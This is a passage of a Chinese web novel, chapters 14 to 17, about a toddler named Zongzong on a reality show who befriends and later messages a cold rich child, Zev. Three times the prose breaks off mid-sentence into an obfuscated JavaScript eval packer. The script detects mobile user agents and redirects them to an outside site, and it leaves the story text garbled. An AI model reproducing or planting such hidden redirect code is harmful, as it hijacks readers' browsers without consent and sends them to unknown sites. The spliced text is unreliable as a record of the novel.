一道声音在门口响起。 粽粽完成任务回来,手脚并用地爬上最近的休息点,立刻大功告成似地一摊。 休息一会儿,才稍稍恢复些体力。 后知后觉地感到氛围有些不太美妙,扭头一看,发现了隔壁不远处竟然坐着可怕的顾傲天。 脸色低沉,又是小手一挥能让粽粽破产的既视感。 怎么又误入此处。 粽粽打起精神,小心搭讪:“好巧呀小天哥哥,你在这里生气吗?” 14. 第 14 章 Zev不理会,换到反方向继续抱臂。 沙发离地面很高,粽粽只得先转过身,小腿够了两下,安全着陆,跑到另一个方向,重新爬上来,让本来就劳累的四肢雪上加霜。 吭哧吭哧半天,喘匀气:“小天哥哥,你为什么生气呀。” Zev瞥他一眼,转动方向,背朝粽粽。 “......” 粽粽真的有点跑不动了。 于是把自己朝Zev挪了挪,热乎乎的肩膀挨上Zev的。 也不管别人是不是面朝着他,就开始絮絮叨叨:“小天哥哥,你别气了。要开心一点,发现世界的美好。而且...而且都换组了,应该更高兴才是。” 想到换组,粽粽低下头,忧郁地抠了两下Zev裤子上亮晶晶的装饰拉链。 意识到不太合时宜,又抬起手,若无其事地在自己裤子上蹭了蹭。 听着他最后这句话,Zev理解成粽粽更加高兴,他眉心一紧。 脑海中回响起方才顾乾的声音。 Dexter比你温和。Dexter比你温和。Dexter比你温和。 “走开。”Zev重新决绝转头。 一无所知的粽粽对着后脑勺:“虽然不知道谁惹了你,但我会一直支持你的呀小天哥哥,你不要不理我。特儿拿巧克力诱惑我我都忍住了。” 提起巧克力,粽粽脑海中又出现了那颗闪闪亮亮,充满诱惑,却生不逢时的哈密瓜味巧克力。 咽了口口水。 再想说时,忽然发现面前的后脑勺似乎回转了些,开始是整个圆形,现在圆形不那么完整。 他试探着继续:“所以我只和你当好朋友,不会选别人的。” 话音落时,粽粽看见了Zev的一点侧脸。 “你又帅气又聪明,做游戏的时候还让我休息,说明还很善良。”粽粽再接再厉。 【给我们Zev哄成胚胎了】 【这谁能顶得住粽粽的甜言蜜语】 【帅气善良又聪明/爱心】 【嘴角比AK还难压】 粽粽继续思考:“而且你走了那么多路都没有累,很擅长走路的。你给我分享零食,又这么大方。” 渐渐地,Zev已经变成了刚刚的角度,挺拔鼻梁上架着酷酷的墨镜,线条连接着下颌线,可以想见等婴儿肥褪去之后,一定会有清晰可见。 “小天哥哥,你别生气了好吗?” 粽粽伸出肉乎乎的小手,拉了拉Zev。 同时准备偷偷观察Zev的表情,但发现对方戴着墨镜看不清,于是努力凑近,再凑近,脸颊快要挨上,大眼睛仿佛要钻到墨镜下,长长的睫毛扑闪扑闪。 Zev这才抬起手,用两根指头推开粽粽的脸蛋,冷冷四个字掷地有声:“原谅你了。” “谢谢你。”粽粽感到很高兴。 说完才反应过来,又不是自己惹Zev生气的,为什么要原谅他。 【我们粽粽承受了太多】 【Zev咋用两根手指推人家脸啊】 【怀疑Zev也觉得粽粽软软的很好摸】 【我的天,顾乾做不到的事情粽粽做到了,粽粽就是世界上最厉害的小朋友】 【就这样被哄好】 【所以Zev你其实气的是粽粽和别人跑了吧(】 屋子里静可闻针,大家看似在各做各的事,但其实都在偷偷关注这里。 毕竟是顾乾的弟弟,即使抛开这层身份他爷爷和爸爸也是惹不起的人物,要真是拒绝录制,说不准节目得暂停。 不过发现粽粽竟然真的能把Zev哄好,纷纷松了口气。 粽粽对此一无所知,擦了擦脑门的汗,重新摊平。 Zev挑衅地看了一眼同样在朝这边看的邵晚熠,抱着臂上挑眉毛,极其嚣张。 邵晚熠说的什么狗屎理论都是错的,粽粽就是无条件地想和他做好朋友。 就算成深野比他温和又怎么样,谁说温和一定是褒义词。 邵晚熠一愣,耸耸肩,朝他做出一副走着瞧的表情。 又让Zev神色一变。 顾乾看到,顺着Zev的目光望过来,邵晚熠立刻恢复如常。 “这个小棉花团还挺厉害。”他和顾乾说。 顾乾多看了粽粽两眼,不置可否。 “你别看他是素人小孩就把人家当NPC,说不准真能教会Zev交朋友。” “没有。” 邵晚熠望着Zev,随口道:“拉倒吧,你俩可不止长得像,有些东西是天生的。” 天生而不自知的优越,容易错过为数不多的真心,会栽跟头的。 “少装作很了解别人。”顾乾冷冷。 另一边,Zev怒视了会儿邵晚熠,下了沙发,对粽粽说:“来。” “去哪呀?”粽粽问。 自然没有得到回答。 于是粽粽再次重复转身下沙发的动作,蹬两下小腿,来到地面,跟上Zev。 Zev带他一路前行,七拐八绕,到了一个房间口停下。 “小天哥哥,这是哪里?” Zev不语,输入密码,推开房门。 只见屋里的装修风格和那些节目中使用的客卧完全不同,是个空间很大的套间,墙壁被粉刷成淡淡的蓝色,桌椅却以灰色为主,看上去低调而高级。 “哇,好大呀!”粽粽吃惊地张大嘴巴。 他仔细观察:“这是你的房间吗?” Zev淡淡点头。 桌椅是他来了之后换的,屋里大部分地方都已经脱离了低级和幼稚。 “你的床单好可爱。”粽粽指着蓝色小熊床单,很符合他的审美。 Zev立刻道:“不是我的。” “好吧。” Zev带着粽粽在房间里转了一圈。 过程中,粽粽的眼睛很少睁得这么圆,尤其是发现竟然有一整个玩具角。除了数不胜数的小汽车和赛车道外,竟然有一个可以晃动的秋千和攀岩的架子。 要知道粽粽每次想玩秋千都得在小区里排长长长长的队,而且一个小朋友只能荡两回,再去重新排队。 还时常有不守规则的人霸占。 没想到Zev竟然在房间里装了一个秋千,规模还并不比小区的小。 他的目光黏上去。 Zev正挑选了一个酷炫霸气的豪华小汽车从盒子里拿出来,转头就看到粽粽的眼神。 终点是那个弱智秋千。 他再次迅速道:“这不是我的。只是暂时放在我的房间里,很快就会被拆除。” 粽粽失望:“好吧,还想问可不可以玩一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142760|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他恋恋不舍地盯着秋千,看起来会很好玩。世界上竟然有人这么幸运,可以一个人拥有一个秋千。 实在过于真挚,仿佛拆散他和秋千是什么罪恶的事情。 Zev虽然不理解,但还是让步:“你可以玩。” “你说这不是你的秋千呀。” “它可以是。” 霸道的语录又让粽粽闪回小说,确实,顾傲天让别人玩个秋千怎么了,没有顾傲天不能玩的秋千。 粽粽得到了允许,很高兴地坐上去。 晃晃悠悠的美妙感觉席卷了他,小腿离地,愉快地摆动。 Zev从来没有使用过这个秋千,没想到会在今天被启动,他站在一边看着。 “小天哥哥,帮我推一下好不好。” 粽粽期待地望着Zev。 Zev沉默。 前后左右看了看没有人,才走上前,推了粽粽一下。 虽然荡得并不高,但粽粽很高兴,仿佛已经被送到蓝天之中,进入云层,和小鸟一起飞翔。 玩了会儿,粽粽意犹未尽地叫停。 “谢谢你小天哥哥。”他的小脸因为兴奋而红扑扑,“下次再玩吧。” 他又发现了滑滑梯,也矜持地体验了一次。 Zev冷眼旁观,对于普通人类幼崽的兴趣点一无所知。 “小天哥哥,下次我带你去我家玩。虽然没有你这里大,但是也有很多好玩的玩具。” Zev并不喜欢玩玩具:“不...” 粽粽张开小手抱了Zev一下:“不用客气。” Zev愣神,他从小到大非必要极少和别人有肢体接触。 但对于这个小孩儿来说,似乎是一件极其自然的事情,伤心和高兴的时候都会用拥抱来表达。 倒是软软的,还有某种宝宝面霜的清香,并不至于让人太排斥。 导演把他们叫回餐桌,边吃饭边公布结果。 Zev照例准备坐在粽粽的位置上,被成深野阻拦:“现在我和粽粽一组了,你不能在这里。” “谁规定的?”Zev倒是很淡定,虽然依然戴着大墨镜没什么感情,但看起来就是心情还挺不错。 “规则规定了。” 粽粽已经爬到了盛坻的腿上,才看到下面两人又对上了。 本来想下去当个和事佬,但香喷喷的饭菜已经上桌,林雪客给他夹了块肉。 是排骨。 凉了就不好吃了。 粽粽拿起小勺子,美味不可辜负。 “哪条规则?”Zev问。 “刚刚粽粽可是选择了我。”成深野提醒。 “那是他没有反应过来。” “如果再选择一次呢?” 成深野抛出的这个问题,只有粽粽能够解答。 两人不约而同地将目光汇集到一个地方。 粽粽正努力地用两排小乳牙啃排骨,肉质鲜香Q弹,汁香饱满,实在是太美味了。 “......” 【粽粽的眼里只有食物】 【豪吃】 【哈哈哈哈哈成深野和Zev是不是忽然感觉没什么意思了,在争啥呢】 【不,粽粽的站队如同亚马逊雨林的蝴蝶扇动翅膀,足以掀起美国得克萨斯州的一场飓风】 【粽粽的选择是美味大排骨】 15. 第 15 章 在成深野家长的介入下,这场尚未冒头的争执堪堪结束。 “大家一会儿回去早点休息吧。”导演公布完了获胜队伍,“为期两天的热身与熟悉过程已经结束。接下来将要出发旅游了。” 大屏幕上展示出美丽的风景照,还有最吸引小朋友们的玩耍项目和诱人美食。 一道道目光跟着一张张鲜艳的PPT左转右转,注意力都被吸引过去。 粽粽伸出指头,小声告诉盛坻:“来之前我以为是这样的。” 【被骗来锻炼身体的苦力粽粽】 【哈哈哈又累又饿】 【再待两天就不是白白胖胖的粽粽了】 【不过粽粽坚持下来了,说明粽粽顽强勇敢(】 【粽式鼓励法】 盛坻低下头,板栗色的头发垂在眼前,在粽粽的指头上搓了搓:“这是什么?” 粽粽看着手上的白色痕迹,皱起眉头,仔细回想:“那个假的雪,洗不掉了。” “这么可怜,回去妈妈该心疼了。”盛坻捏了捏他的小脸。 粽粽不说话了,他非常思念他的妈妈。 再多说就要落泪了。 小月亮提醒导演:“是不是要算分数。” “没错。”导演点头,“获得第一名的组将在下期节目中占据优势。” 经过个人战,团队战,最后的分数还是以组为单位排名。 “还有最后一个环节。”导演提醒,“我们一起生活两天的目的就是为了彼此熟悉,那么接下来就要考验一下各位——尤其是四位小朋友,对互相的了解。” “放心,题目很简单的。答对一题就可以加一分。” “有多简单?”小月亮问。 “比如第一题。”导演说,“说出其他三位的名字,就能得一分。” 小月亮露出笑容,果然非常简单。 成深野也胸有成竹,但粽粽听到后愣愣,扣了扣手。 “为了避免互相影响,请各位吃完饭后隔离作答。大人们也需要。” 粽粽举着小勺,原本美味的一顿饭有点变味。 他偷偷问成深野:“特儿,你全名叫啥呀。” 成深野望着他,朝他春风一笑:“保密。” “……” 【哈哈哈哈特儿的翻身仗】 【特儿:昨天你对我的名字爱搭不理,今天的你高攀不起】 【其实说出来粽粽也不会念】 小月亮又严谨地问导演:“要规定说小名,英文名,还是中文名吗?” “都可以。”导演忽然想到什么,指着Zev 补充道,“他的名字得说英文。” 这是顾家之前特地叮嘱过节目组的,并不能暴露真实姓名。 粽粽一听更是雪上加霜,也就是说他知道的顾傲天还不能作为答案。 粽粽沉默一下,龇起牙,试图模仿平常大人们的发音。 未果。 讨厌的英文。 默默无言地吃完这顿饭,粽粽就被导播姐姐拉走,进行提问。 同时被发了一个平板,在每题结束之后可以看到其他小朋友的回答结果,大人那边也是一样。 “刚刚的第一个问题导演已经说了。”导播姐姐摸了下粽粽的小胳膊,“请说出其他三位小朋友的名字。” 粽粽作答:“小月亮。Z。特儿。姐姐你好漂亮。” “1分。”导播铁面无私地说。 但又在粽粽的小胳膊上捏了捏,软软的。 “你可以看看其他小朋友的回答。” 粽粽挨个观看,小月亮和成深野都回答出来了,到Zev的时候,对方摇头说不知道。 那边是导演亲自提问:“再回忆一下呢?说出我们节目里经常叫的就行。” “不知道。” “连那个经常和你一起玩的小朋友都不记得吗?”导演不死心。 这几天大家有目共睹,粽粽常常黏着Zev。 “没一起玩。”Zev微拧眉头,似乎是在回忆,但很快放弃,“某种食物吧。” 粽粽低着头,看着屏幕里满不在乎的Zev。 【咋这样】 【粽粽难道不值得被记住吗?】 【是不是生气了粽粽】 但粽粽一直看到屏幕变黑,并没有表现出任何生气的摸样,只是点点头,示意自己知道了。 反正不过是个小炮飞而已,顾傲天才是主角。 他马上就可以回家见到爸爸妈妈了,本来就不想参加这个节目。 接下来导播又问了一些问题,比如其他小朋友最爱吃什么菜,最爱吃什么水果,最喜欢的颜色。 粽粽依然认真作答,其他人不太了解,但关于Zev的他答得很准确。 等到一切结束,粽粽并没有回头看比分,跳下凳子就想要离开。 被导演的邪恶大手抓回来:“合一张照片吧。” 大手钳制着粽粽的肉,硌得很痛。 “小朋友们站好。” Zev就停留在原地,其他人围绕着他站成几排。 他朝旁边看了一眼,粽粽并没有来找他站在一起,而是就在角落里,待在小月亮旁边。 Zev皱起眉头,望着粽粽的方向,似乎想说些什么。 “咔嚓。” 时间并不给人太多机会,摄像头已经把一切定格下来。 导演正式宣布为期两天的体验在此刻结束,大家可以各自回家。 粽粽头也不回地朝前走,被一个力量拉住。 转头一看,是酷酷的Zev,脸上没有什么表情,完全看不出正拉着粽粽的衣服角。 “要不要摸小狗。”Zev淡淡。 粽粽摇摇头:“不要了,我要回家了。” * 屋里人和设备都撤得干干净净,导演找人把卫生收拾完成,一切复位。 就剩下了顾乾和Zev,显得有些空旷。 Zev知道这只是顾乾工作内容的一部分,只是参加了一个节目而已。现在节目暂时结束,顾乾又将开始他其他工作。 “Zev。”顾乾看到抽屉里的零食变少,“我让人把你屋里的玩具角拆掉。” 顾乾知道Zev等这一时刻等了很久,这次节目上表现得还算不错,决定现在答应他这个申请。 Zev点点头:“尽快。” 他回到自己的房间。 主色调是灰色和黑色,这个五彩缤纷的玩具角显得格外突兀,现在终于可以拆除。 像往常一样,Zev坐到桌子上,打开电脑准备看纪录片。 一阵风从打开的窗子中掠过,将角落的秋千吹动,绳索在空中晃悠两下,连带着座椅轻轻摇摆,发出簌簌的声响。 在安静地房中格外明显。 Zev抬起头,盯着那个秋千。 顾乾的效率向来很高,不一会儿,管家就带着几个人敲响房门。 陆陆续续走进来,准备着手拆除秋千。 还有攀岩角,滑滑梯。 手里冰冷的工具和器械碰撞发出清脆的声响,不需要太久,这碍眼的一块就会永远从Zev的房间里消失,整个屋子将按照他的想法统一成黑白灰。 像任何一个酷酷的房间一样。 脑海里忽然浮现出一个圆圆的小脸。 螺丝刀已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142761|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在拧动滑滑梯的螺丝,如同任何没有感情的运作机器一样,严丝合缝地工作着。 第一个彩色的盖子被卸下。 “等一下。” Zev忽然开口。 * “妈妈!” 粽粽被节目组的车送出别墅区之后就一路小跑,奔向他亲爱的爸爸妈妈。 钱芷和凌逸飞就在最近的地方等他,确保他一出来就能看到。 两人男帅女靓,十分登对,路过的人纷纷多看两眼。 “那个是不是粽粽?”凌逸飞个子高,隔着很远就看到了飞快跑过来的小身影。 “儿子都不认识了?”钱芷招招手,准备拦截住如同小炮弹一般飞速狂奔的粽粽。 但来到近前的时候,朝旁边躲避一下,小炮弹结结实实地撞击在了凌逸飞身上。 “宝宝。”凌逸飞把粽粽抱起来,捏捏他的小脸,小胳膊,小腿,“瘦了。” 肉乎乎的粽粽点头,同意这个说法。 钱芷给粽粽一颗棒棒糖:“这两天过得开心吗?” “不开心。”粽粽闷闷不乐地把糖果含在嘴里,靠在爸爸的肩膀上,“下周不要去了。” “为什么不开心?我在电视里看到你吃排骨吃得可香了。” “就是不开心。” 粽粽拒绝回答。 “好吧,我们带你去吃饭,粽粽想吃什么?” “我想吃西餐。” 凌逸飞和钱芷带粽粽前往一家西餐店,粽粽愉快地享用了牛排。 又去了他最常去的猫咖,逗留撸了一会儿猫。 “粽粽,你来了?”老板娘一看到老熟人,立刻擦擦手出来迎接。 还有一群猫猫也鱼贯而出,用脑袋顶着好朋友粽粽。 “姐姐,这是什么呀。” 粽粽发现自己两天没有来,猫咖旁边竟然又扩建出一小块区域。 “你来。”老板娘神秘道。 他走进去,跟着老板娘去往另一个地方。 还没进去,一声“汪汪”就把他吓在了原地。 几只小狗从里面跑出来,兴奋地围绕着粽粽嗅来嗅去。 粽粽在原地保持静止,张开小手朝向他爸爸。 “不要怕,这都不咬人的。”老板娘说,“和小猫一样,没有什么区别。” 粽粽依然保持着原有动作,在爸爸把他抱起来之前一句话都不愿意发表。 无奈之下,凌逸飞一笑,把他腾空而起。 粽粽这才分出眼神,朝下看了看这几只狗狗。 老板娘在旁边介绍:“我们打算在猫咖旁边开一个狗咖,这样喜欢狗狗的小朋友也可以来摸。” 一只斑点狗似乎是为了证明他的说法,“汪”地叫一声。 大金毛双腿离地,后腿撑着,前爪扒着凌逸飞的裤脚。 高度正好能把毛绒绒的脑袋挨到粽粽的小屁股,粽粽楼紧了爸爸。 同时也好奇地伸出小手,在大金毛脑袋上碰了碰。 “好可爱呀。”大金毛的眼睛也好漂亮,身上像是酱油的颜色。 粽粽逐渐放松警惕,在高空触碰着狗狗们的脑袋。 忽然,从小门后面又转出一个身影,粽粽在空中的小肉手停滞,看着这只后出场的小狗。 只见全身是如雾一般淡淡的灰色,毛发光亮漂亮,却相间着一点偏深的灰,像极了空中划过的陨石。 四肢矫健,威风凛凛,但是神情却格外温顺,看起来对粽粽很感兴趣。 在一定距离的地方站定,停下来仰着脑袋看粽粽。 “这是陨石边牧。”老板娘发现了他的眼神,热心地介绍着。 16. 第 16 章 “好吧。”粽粽点点头,回过身,不再去看下面的狗狗。 凌逸飞在他下巴上刮了一下:“害怕了?” 粽粽安静地趴着,一言不发。 “这种狗狗不咬人的,还很忠诚,要不要摸摸它?”老板娘建议道。 “不要。”粽粽想起当时Zev对自己的邀请。 虽然他并没有答应,但如果这时候先摸别的狗的话有点不太好。 那只可怕的大狗和眼前这只长得很像,不过感觉上应该更大一些,毛色更加漂亮。 倒是这只边牧依旧对这一小坨粽粽非常感兴趣,伸出前爪试图摸摸它。 粽粽一扭小腰,灵活闪避。 刚刚提起的兴致又变得挺低沉,趴在爸爸的怀里被抱回去。 不知不觉间已经陷入沉睡。 一觉醒来满血复活,几个小朋友围在周围,探着脑袋看粽粽。 年龄和粽粽大差不差,看起来对这里十分熟悉。 粽粽吓了一跳。 “你们在干什么呀?” “好几天没有看到你了粽粽,我们一起去玩吧。” 他们都是同一小区的玩伴,大部分于楼下游乐设施处结识。在这一圈小小的朋友圈里,粽粽是最受欢迎的核心人物。 粽粽看着几个熟悉的面孔,正要下床,忽然鬼使神差地问道,“我叫什么名字?” “粽粽呀。”其中一个发色偏浅的小朋友说,还伸手摸了摸粽粽的额头,“你没生病吧。” 粽粽点头,大家一起热热闹闹地前去玩耍。 * 偌大的房间里,只剩下了Zev一个人。 今天顾乾又临时有工作安排离开,保姆给他做完饭,放在桌子上,两人大眼瞪小眼。 “小先生,你吃吧。” 保姆称呼顾乾为顾先生,并不知道这个小朋友的名字。 “我不姓小,不要这么叫我。”Zev抱臂,“我不吃,请把顾乾叫来。” “顾先生去工作了。” “让你照顾我?” “我只负责一日三餐,顾先生说做完饭就可以走了。” “......”Zev淡淡,“走吧。” 等保姆也离开,Zev在巨大的屋里转了两圈,站在玩具角凝神驻足一阵,在小狗宙斯那里待了会儿,给顾乾打电话。 一手拿着电话,一手搭在桌子上,眉头微拧,神情严肃。 铃声响到最后,迎来了冷冰冰的“无人接听”。 不接就一直打,不知打到第几个,顾乾才终于接起来。 “喂。” “顾乾,你在哪。”Zev冷静。 顾乾那边听起来挺吵,几声脚步,走到了一个稍微安静的地方:“工作。” “那个人有没有在你那?” “没有。” 两人都停顿了一下。 顾乾只得淡淡加了句:“在路演。他不拍电影。” “我还没说是谁。”Zev十分不满。 “行了,我还在忙。” “去吧,我要曝光你把不到三岁的小孩一个人留在家里。”Zev语气冷冷。 顾乾愣了愣,这是Zev第一次承认自己是个三岁不到的小孩,他硬是听出了点撒娇的意味。 又朝僻静处走了走,低声道:“以前不都是自己在家里。按铃就可以呼叫到管家。” “我不要管家。” “那让保姆住家?她上次还问我需不需要。” “我也不要保姆,她听不懂我说话。” 每次顾乾请的保姆年龄都很大,并不能无障碍沟通。 “Zev。”顾乾建议,“你可以找同龄的小伙伴一起玩。上次那个商总的小孙子,和你一样大,在隔壁别墅。” “不要。无趣。”Zev拒绝。 “陈导家小儿子?” “不要。幼稚。”Zev回想起那个拖着鼻涕的小屁孩。 顾乾一连说了好几个附近的小孩子,都被Zev给否决掉了。 “那个圆圆的小朋友呢?”顾乾不知怎么,脑海中就出现这样一个形象。 Zev不说话了。 顾乾一挑眉,继续:“你去找他玩吧。” Zev沉默一阵,直到顾乾这边传来催促上台的声音,才勉强开口:“你去找。” 外面再次传来一叠声“顾老师”,提醒着时间要到了。 顾乾只得匆匆道:“找助理去办,我工作了。” 电话被挂断,Zev很生气。 不过好在顾乾并没有完全忘记这件事,助理叔叔真的发了一个账号给Zev:“乾哥说你想找这个。” Zev勉强满意,纡尊降贵地挪动手指点开,发现竟然是一个视频号。 不由拧起眉头,还是点了进去。 在最新的视频里果然看到了熟悉的小身影。 在镜头里白白嫩嫩,显得格外迷你,已经收获了大量点赞。 此刻他正和小朋友们玩得不亦乐乎,钱芷叫了好几声,粽粽才回过头。 额头上的汗水把碎发沾湿,整个脸蛋看起来热乎乎的,眼睛笑成了两个小月牙。 镜头后有一只手捋了捋粽粽的头发,盘了两下他的脸:“开心吗?” 粽粽本来就不是心里存事的性格,又暂时告别了流落街头的苦恼,心情轻松许多:“开心!” Zev很不开心。 冷酷的目光扫过粽粽身边地几个小孩,眉头愈拧愈深。 助理也紧接着更正信息,发来了粽粽电话手表的联系方式。 “让他先加我。”Zev下指示。 接着坐在窗边,怒等一天。 “你继续在这里等吧,我要回家了!”傍晚时分,夕阳西下,粽粽与小伙伴分别,让他在路边等家长接。 他先坐上了妈妈的电动车后座。 “宝宝,你把书包抱着。”钱芷把书包递给粽粽。 电动车启动,粽粽一手攥着钱芷的衣服角,抱上自己的小书包,另一手顺便在里面摸了摸,掏出自己的电话手表。 运动完过后重新戴在手腕上,珍视地擦了擦屏幕。 忽然发现上面跳出一个好友申请。 像粽粽这种广结善缘的小朋友,电话手表里的通讯录向来密密麻麻,他没什么犹豫地点了通过。 谁知对方紧接着立刻发来一大段话。 【粽粽小朋友你好,我是Zev的代理人,他希望能够和你交流。现在请你添加这个号码,就可以和Zev聊天了/玫瑰】 粽粽皱着眉头翻上去,没有一丝犹豫。 因为他不认字。 但凡这种大段话的一律广告处理。 * 回家又玩耍了一会儿,夜幕逐渐降临,粽粽准备睡觉。 他换上自己的淡黄色小猪睡衣,痛饮完一杯牛奶,摊在舒适的床上。 洗过澡之后重新变得白白的,香香的,正要抱着被子幸福入睡,忽然发现电话手表上又多了一个好友申请。 粽粽鼓鼓脸,谁把他的号码卖给广告商了。 之前就听小朋友们说过,如果在登记号码领取礼品的地方留下号码,是会被广告轰炸的。 所以粽粽一直都故意偷偷写错一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142762|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个数字,没想到还是被找到了。 粽粽点击通过,先发制人【你好,我只是个小孩,可以不要向我推销吗】 玩了一会儿手表上的合成大西瓜,对面一直都没有回复他。 粽粽逐渐开始犯困,眼睛眯上了三分之一,含糊发语音道【谢谢你,看来你很善良的。那我就先把你删掉啦?】 刚发出去,手表很快就“滴”了声。 也是条语音,长达一秒。 【不可】 掷地有声,极其有标志性的语音语调。 粽粽一下就听出了是谁。 但他感到非常意外,有些难以置信,打通拨过去。 “小天哥哥?” “嗯。” 彼此就不说话了。 粽粽也摸不准顾傲天来做什么,怎么就想起了在犄角旮旯的他。 但粽粽今天很困,不想再营业了。 “我要睡觉了。” “不行。” “......” “那你要干啥呀。”粽粽翻了个身,用被子盖住自己的肚子。 他现在身处于温暖的家中,躺在自己的小床上,隔壁还有爸爸妈妈,多了不少底气。 Zev又沉默一会儿,开口:“明天来找我。” “暂时不行诶。明天我约好了和小虎哥哥一起玩。” 那边立刻把电话挂了。 速度快到粽粽都没有反应过来,小小的屏幕里倒映出呆呆的小脸。 瘪瘪嘴,闭上眼睛。 他的睡眠质量一向十分优秀,很快迷迷糊糊着进入梦乡,已经能看到一桌诱人的大鸡腿,还是脆皮的,拿起一个最大的,眼看看正要吃到嘴里,忽然桌上的烤箱“滴”一声,把他给吵醒了。 粽粽砸吧砸吧嘴,一点香味都没有。 以前从来不会出现这样的情况,他疑惑地看了看,发现是床上的电话手表在弹消息。 是刚刚添加的Zev,给他发了张图片。 黑白灰为主色调的屋子里一个亮眼的玩具角落,除了上回的秋千滑滑梯,还摆了一排遥控小汽车,旁边是个塞满零食的小柜子,柜门稍敞,展露出里面繁多的种类。 对于粽粽来说,算是天堂级别的游乐场所了。 粽粽给图片点了个赞。 接着发了一张白天时的别墅大花园,之前节目组的设备已经全部拆除,变得极其宽阔,设计精美的喷泉正源源不断地播洒出优美的弧线,在阳光下显出七彩的光芒。 粽粽本着礼貌,也赞了一下。 谁知仿佛打开了潘多拉魔盒,一个个小红点跳出来。 下一张是夜间的喷泉,似乎是从窗户现拍的,竟然还有灯光,加上之后就是一场视觉的盛宴。 【小天哥哥我想睡觉了,明天再说可以吗】 粽粽神情恍惚。 再下一张照片首次公开了别墅背面,之前未允许进入的区域,一片是专门给小狗设计的玩耍区域,各种类似赛道的布置。 竟然还有一个大大的游泳池,可以在里面畅游。 张张让人眼花缭乱的照片都发送过来,粽粽屡次喊停的语录被刷上去,本来美梦被吵醒就有点起床气,一伸手指,暂时把Zev拉黑了。 安静。 他脸蛋蹭蹭枕头,快乐地进入梦乡。 第二天一醒就把一切都忘在脑后,如约和小虎哥哥玩耍,生活就这样快乐地继续。 直到一个格外黑暗的夜晚,妈妈照例端来一杯牛奶,告诉他:“宝宝,明天又要去参加节目了哦。” “不是说好不去了吗?”粽粽一骨碌爬起来。 17. 第 17 章 “合同是整期签的崽崽。”钱芷摸了摸粽粽的脑门,连同头发一起落捋到后面,“当时爸爸妈妈和你说过了。” 粽粽十分伤心,背对着钱芷拒绝:“我不要去。” 一小坨坚定面壁,钱芷笑了笑,伸手摸摸他肉乎的肩膀:“爸爸妈妈每天都在直播里看你,感觉挺开心。和妈妈说哪里不高兴?” 粽粽想了想,抬手抠抠墙:“他们连我的名字都记不住。” 钱芷回忆:“小月亮和Dexter都记得,Zev不是谁都没记得吗?” 粽粽不说话了。 那哪能一样,谁都没记得就可以不记得粽粽了吗。 而且虽然粽粽是个小朋友,但也能察觉到一些东西。比如只对他态度稍有粗暴的导演,还有几位假装他不存在的大人嘉宾,但对其他小朋友就完全不一样。 他低着头,从侧面能看到格外忧郁的脸颊弧度。 钱芷伸手摸了摸。 “听说下期还会有一个素人小嘉宾陪你,到时候会好一些。”钱芷看了一眼墙上的钟,“现在是八点钟,你思考一个小时好不好,如果实在很难受的话就不去了吧。” “不要捡垃圾了吗?”粽粽的眼睛亮了一下。 钱芷整理好粽粽的发型:“捡垃圾也要快乐地捡垃圾。” 等妈妈走之后,粽粽躺在床上认真思考。 虽然说着一走了之,但这样两个哥哥却依然处于水深火热的境地。 脑海中出现两个哥哥的摸样,一个蓝头发一个板栗头发,都对他很好。 下期节目去旅游,有玩的和吃的。 脑海中出现满汉全席,还有游乐园。 顾乾哥哥还挺帅的来着。 脑海中出现一个顾乾,穿着西装,双手揣兜,仿佛行走的海报。 粽粽左思右想,在床上如烙饼一般翻来覆去,最后决定给顾傲天发个消息试探下,看甜蜜好看的糖果有没有感化邪恶的心。 拿过自己的手表,在通讯录里从上朝下翻翻翻,小手指头一直翻到底,都没有找到顾傲天。 疑惑地皱皱眉头,粽粽归结于自己多了一段夜晚的记忆,明明记得还特地给顾傲天备注了一个Z,怎么不见了。 或许是做梦。 他拿着手表又随意玩起来,逐渐翘起二郎腿,肉乎乎的小胖腿在空中晃着。 因为不识字,很多功能都得靠挨个点开摸索,往往会有意外收获。 乱点一通,不知戳到哪儿,粽粽看到了有个画着“禁止”符号的名单,里面赫然躺着一个“Z”,仅此一个,显得孤孤单单。 粽粽:“......” 他好像把顾傲天给拉黑了。 不得了了。 不会就是这个时刻得罪了顾傲天,然后流落街头。 粽粽放下腿,开始有些慌张。 匆匆把人给拉出来,发了个友好的笑容。 /龇牙 “......” 屏幕另一端的Zev“啪”一声,把手表丢到一边。 “干什么?” 顾乾在他屋里用电脑,瞥了一眼。 现在天色已晚,顾乾穿着件简单的黑色t恤。 自从某天Zev搞来一块儿童手表之后,每天都拿在手里玩来玩去。要知道以前Zev对一切和儿童相关字眼都格外排斥。 顾乾看着正襟危坐,双手抱臂的Zev,身上是件儿童版的黑色t恤,依然是小小的一个,脸颊肉乎,腿都够不到地。 